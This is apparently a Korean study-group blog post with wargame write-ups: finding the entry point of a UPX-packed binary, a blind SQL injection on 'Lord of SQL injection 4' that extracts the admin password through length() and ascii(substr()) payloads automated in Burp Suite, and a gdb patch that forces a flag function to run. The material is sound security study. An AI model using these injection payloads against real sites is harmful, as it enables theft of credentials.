OEP를 구하시오.

UPX로 패킹 되어 있다.

언패킹 완료

start address 0x01012475가 VA이다.
- VA = ImageBase + RVA
- VA: 실행 중 메모리 주소, RVA: 파일 시작 기준(ImageBase) 상대 위치

정상 코드 등장, OEP는 01012475
Lord of SQL injection 4
문제

Lord of SQL injection 4
풀이

조건 & 제약사항
preg_match 함수를 통해 ' , " , ` 의 사용이 차단되어있음
실제 데이터 베이스에 저장된 admin의 비밀번호를 정확하게 알아내야함
아이디어
데이터베이스가 참일 때와 거짓일 때 화면에 출력되는 메시지가 다르다는 점을 이용
참일 때: 화면에 Hello admin 출력
거짓일 때: 아무것도 출력되지 않음
-> 비밀번호의 길이를 먼저 알아내고 그 다음에 한 글자씩 맞춰나가기
1. 비밀번호 길이 알아내기
length() 함수 사용
입력: ?pw=' or id='admin' and length(pw)=1 %23
입력: ?pw=' or id='admin' and length(pw)=2 %23
...
정답: ?pw=' or id='admin' and length(pw)=8 %23
-> 비밀번호는 8자리


2. 비밀번호의 각 자리 문자 알아내기
첫 글자 찾기: (97은 'a')
?pw=' or id='admin' and ascii(substr(pw,1,1))=97 %23
hello admin이 나올 때 까지 숫자를 바꿔가면서 시도하기
하지만 이렇게 모든 자리를 수동으로 구하는것은 번거로워서 Burp Suite로 자동대입을 할거임
3. Burp Suite으로 비밀번호 알아내기


-> 요청을 낚아 챈다

-> pw=1 을 pw=' or id='admin' and ascii(substr(pw,1,1))=1 %23 이걸로 바꿔준다

-> 자동 대입할 부분에 변수 표시(§) 하기

-> 공격하기


-> 대입할 값을 설정한다
Payload set: 1 (비밀번호 위치: 1번~8번 자리)
Payload type: Numbers
From: 1 / To: 8 / Step: 1 (1~8글자까지 확인하겠다는 뜻)
Payload set: 2 (아스키 코드 값: 32~127번)
Payload type: Numbers
From: 48 / To: 122 / Step: 1
이 공격을 돌려보면
pw의 값이 095A9852라는 것을 알 수 있다

Description 문제풀이
1. 프로그램 실행: 10~1까지 차례대로 숫자가 나온다 > 숫자를 감소시키는 반복문이 있음을 알 수 있다.

2. disas main으로 main 함수 보기:

subl $0x1,-0x4(%rbp): cnt에서 1 감소
- 핵심 연산
cmpl $0x5,-0x4(%rbp): cnt랑 5를 비교> 바로 뒤에 jump문이 있음
대충 코드는 아래와 같이 나온다.
cnt = 10;
while (cnt > 0) {
printf("%d\n", cnt);
cnt--;
}
if (cnt == 5) {
flag_gen();
}
반복문 끝나면 cnt는 0되는데 cnt가 5가 되어야 하기 때문에 브레이크를 걸어야 한다.
3. 브레이크 걸고 실행
b *0x00005555555555aa: cnt==5검사 직전에 멈춘다.
set *(int*)($rbp-0x4)=5: cnt = 5로 강제 변경한다.
c: 멈춘 곳부터 계속 실행
> 조건문이 참이 돼서 flag_gen()이 실행되고 플래그가 출력 된다.


'4-1. 2026-1 심화 스터디 > 워게임 도장깨기' 카테고리의 다른 글
| [6주차] 워게임 도장깨기_포너블 (0) | 2026.05.22 |
|---|---|
| [4주차] 워게임도장깨기_웹해킹, 리버싱 (0) | 2026.05.01 |
| [3주차] 워게임 도장깨기_시스템 해킹 (0) | 2026.04.02 |
| [2주차] 워게임 도장깨기_리버싱 (0) | 2026.03.27 |
| [1주차] 워게임 도장깨기_웹 해킹 (0) | 2026.03.20 |